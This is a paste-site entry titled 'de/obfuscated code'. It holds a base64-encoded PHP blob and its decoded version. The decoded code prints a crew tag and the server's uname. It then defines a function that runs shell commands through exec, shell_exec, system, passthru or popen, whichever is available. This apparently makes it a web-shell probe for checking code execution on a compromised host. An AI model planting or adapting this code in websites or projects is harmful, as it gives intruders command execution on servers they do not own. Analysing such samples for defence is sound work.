de/obfuscated code

From RubberDuck, 5 Years ago, written in PHP, viewed 525 times.
URL http://paste.security-portal.cz/view/672cd3a8 Embed
Download Paste or View Raw
  1. ZWNobyAidjBwQ3Izdzxicj4iOw0KZWNobyAic3lzOiIucGhwX3VuYW1lKCkuIjxicj4iOw0KJGN   tZD0iZWNobyBub2IwZHlDcjN3IjsNCiRlc2VndWljbWQ9ZXgoJGNtZCk7DQplY2hvICRlc2VndWljbWQ7DQpmdW5jdGlvbiBleCg   kY2ZlKXsNCiRyZXMgPSAnJzsNCmlmICghZW1wdHkoJGNmZSkpew0KaWYoZnVuY3Rpb25fZXhpc3RzKCdleGVjJykpew0KQGV4ZWM   oJGNmZSwkcmVzKTsNCiRyZXMgPSBqb2luKCJcbiIsJHJlcyk7DQp9DQplbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdzaGVsbF9leGV   jJykpew0KJHJlcyA9IEBzaGVsbF9leGVjKCRjZmUpOw0KfQ0KZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnc3lzdGVtJykpew0KQG9   iX3N0YXJ0KCk7DQpAc3lzdGVtKCRjZmUpOw0KJHJlcyA9IEBvYl9nZXRfY29udGVudHMoKTsNCkBvYl9lbmRfY2xlYW4oKTsNCn0   NCmVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0aHJ1Jykpew0KQG9iX3N0YXJ0KCk7DQpAcGFzc3RocnUoJGNmZSk7DQokcmV   zID0gQG9iX2dldF9jb250ZW50cygpOw0KQG9iX2VuZF9jbGVhbigpOw0KfQ0KZWxzZWlmKEBpc19yZXNvdXJjZSgkZiA9IEBwb3B   lbigkY2ZlLCJyIikpKXsNCiRyZXMgPSAiIjsNCndoaWxlKCFAZmVvZigkZikpIHsgJHJlcyAuPSBAZnJlYWQoJGYsMTAyNCk7IH0  NCkBwY2xvc2UoJGYpOw0KfX0NCnJldHVybiAkcmVzOw0KfQ==
  2.  
  3. /////////////////////////////////////////////////////////////////////////////////
  4.  
  5. echo "v0pCr3w<br>";
  6. echo "sys:".php_uname()."<br>";
  7. $cmd="echo nob0dyCr3w";
  8. $eseguicmd=ex($cmd);
  9. echo $eseguicmd;
  10. function ex($cfe){
  11. $res = '';
  12. if (!empty($cfe)){
  13. if(function_exists('exec')){
  14. @exec($cfe,$res);
  15. $res = join("\n",$res);
  16. }
  17. elseif(function_exists('shell_exec')){
  18. $res = @shell_exec($cfe);
  19. }
  20. elseif(function_exists('system')){
  21. @system($cfe);
  22. $res = @ob_get_contents();
  23. }
  24. elseif(function_exists('passthru')){
  25. @passthru($cfe);
  26. $res = @ob_get_contents();
  27. }
  28. elseif(@is_resource($f = @popen($cfe,"r"))){
  29. $res = "";
  30. while(!@feof($f)) { $res .= @fread($f,1024); }
  31. @pclose($f);
  32. }}
  33. return $res;
  34. }

Reply to "de/obfuscated code"

Here you can reply to the paste above